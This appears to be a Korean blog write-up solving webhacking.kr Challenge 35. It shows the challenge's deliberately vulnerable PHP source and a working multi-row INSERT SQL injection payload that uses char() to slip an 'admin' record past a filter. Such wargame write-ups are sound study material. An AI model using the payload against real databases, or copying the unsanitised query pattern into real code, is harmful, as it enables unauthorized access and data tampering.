▼ Challenge 35는 다음과 같습니다.
▼ php 소스는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <? if($_GET[phone]) { if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack"); @mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error"); echo("Done<br>"); } $admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'")); if($admin_ck[ip]==$_SERVER[REMOTE_ADDR]) { @solve(); @mysql_query("delete from challenge35_list"); } $phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'"); echo("<!--"); while($d=@mysql_fetch_array($phone_list)) { echo("$d[id] - $d[phone]\n"); } echo("-->"); ?> | cs |
phone을 GET으로 전송한 뒤, 필터링을 하고 INSERT 구문으로 Data를 삽입하고 있습니다.
그런 다음, SELECT 구문에서 "admin"과 동일한 IP이면 성공하게 됩니다.
IP를 변경할 수는 없으니, INSERT 구문에 Injection을 하여 "admin"을 만들어야 겠다는 감이 옵니다.
이미 여러번 풀어 본 문제의 유형입니다.
저번 Challenge 08 (http://limjunyoung.tistory.com/94)에서도 다뤘던 유형입니다.
▼ 다음과 같이 다중 Row Data를 삽입하는 기술입니다.
1 | INSERT INTO 테이블명 (id, ip, phone) VALUES ('$_SESSION[id]', '$_SERVER[REMOTE_ADDR]', 011), ('admin', '본인 IP', 010) | cs |
위와 같이 입력하면, 2개의 Records가 INSERT 됩니다.
실제 문제에서 다음과 같이 보내보지만, "Query Error"가 뜹니다.
"no hack"이 아닌걸로 봐서, 필터링에 걸린 것은 아니지만, 역시 magic_quotes_gpc가 on 되어 있는 것 같습니다.
이제 앞으로는, webhacking.kr 환경은 기본적으로 magic_quotes_gpc가 되어 있다고 생각하고 풀어야 겠습니다.
Challenge 46 (http://limjunyoung.tistory.com/88)에서와 같이 char() 함수를 이용하여
▼ 다음과 같이 전송하면 Success!
1 | 1), (char(97,100,109,105,110), char(121,111,117,114,105,112), 010 | cs |
( 문제의 소스를 보면 SELECT 구문에서 본인의 IP로 SELECT하기 때문에 본인의 IP로 INSERT하여야 합니다. )
'WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] Challenge 53 :: SQL Injection (procedure analyse() 함수) (0) | 2015.12.08 |
---|---|
[webhacking.kr] Challenge 48 :: Command Injection 1 (0) | 2015.12.06 |
[webhacking.kr] Challenge 08 :: SQL Injection (Multi-Records 삽입) (0) | 2015.12.05 |
[webhacking.kr] Challenge 03 :: SQL Injection (Hidden Field) (0) | 2015.12.05 |
[webhacking.kr] Challenge 60 :: Race Condition (0) | 2015.12.04 |